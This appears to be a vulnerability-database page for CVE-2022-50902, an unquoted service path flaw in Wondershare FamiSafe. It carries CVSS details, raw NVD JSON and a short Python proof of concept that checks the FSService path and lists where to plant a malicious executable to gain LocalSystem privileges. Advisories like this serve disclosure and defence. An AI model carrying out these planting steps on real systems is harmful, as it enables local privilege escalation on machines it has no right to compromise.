Security Vulnerability Report
中文
CVE-2022-50902 CVSS 8.4 HIGH

CVE-2022-50902

Published: 2026-01-13 23:15:53
Last Modified: 2026-04-15 00:35:42

Description

Wondershare FamiSafe 1.0 contains an unquoted service path vulnerability in the FSService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\Program Files (x86)\Wondershare\FamiSafe\ to inject malicious code that would run with LocalSystem permissions during service startup.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Wondershare FamiSafe 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2022-50902 PoC - Wondershare FamiSafe FSService Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Wondershare FamiSafe import os import sys import subprocess def check_vulnerability(): """Check if the target system is vulnerable to CVE-2022-50902""" try: # Query the FSService using WMIC or sc command result = subprocess.run( ['sc', 'qc', 'FSService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Check if path contains spaces and is not quoted if ' ' in path and not (path.startswith('"') and path.endswith('"')): print(f"[+] VULNERABLE: Unquoted path detected: {path}") print(f"[+] Attack vector: Place malicious executable in intermediate path") return True else: print(f"[-] NOT VULNERABLE: Path is properly quoted") return False return False except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False def exploit(): """Generate exploit payload location""" vulnerable_path = r"C:\Program Files (x86)\Wondershare\FamiSafe\FSService.exe" print("\n[*] Exploitation steps for CVE-2022-50902:") print("=" * 60) print("1. Create malicious executable (e.g., Program.exe)") print(f"2. Place it at: C:\\Program.exe") print("3. Wait for service restart or system reboot") print("4. Malicious code will execute with LocalSystem privileges") print("\n[*] Potential injection points:") print(" - C:\\Program.exe (before 'Program Files')") print(" - C:\\Program Files\\FamiSafe.exe (before 'Wondershare')") print(" - C:\\Program Files (x86)\\Wondershare.exe (before 'Wondershare')") print("=" * 60) if __name__ == "__main__": print("CVE-2022-50902 - Wondershare FamiSafe FSService Unquoted Service Path") print("=" * 70) if os.name == 'nt': if check_vulnerability(): exploit() else: print("\n[-] Target is not vulnerable to this CVE") else: print("[-] This exploit only works on Windows systems")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50902", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:52.540", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wondershare FamiSafe 1.0 contains an unquoted service path vulnerability in the FSService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\\Program Files (x86)\\Wondershare\\FamiSafe\\ to inject malicious code that would run with LocalSystem permissions during service startup."}, {"lang": "es", "value": "Wondershare FamiSafe 1.0 contiene una vulnerabilidad de ruta de servicio sin comillas en el FSService que permite a los usuarios locales ejecutar código potencialmente con privilegios elevados. Los atacantes pueden explotar la ruta sin comillas en C:\\Program Files (x86)\\Wondershare\\FamiSafe\\ para inyectar código malicioso que se ejecutaría con permisos de LocalSystem durante el inicio del servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-91"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50757", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/wondershare-famisafe-fsservice-unquoted-service-path", "source": "[email protected]"}, {"url": "https://www.wondershare.com/", "source": "[email protected]"}]}}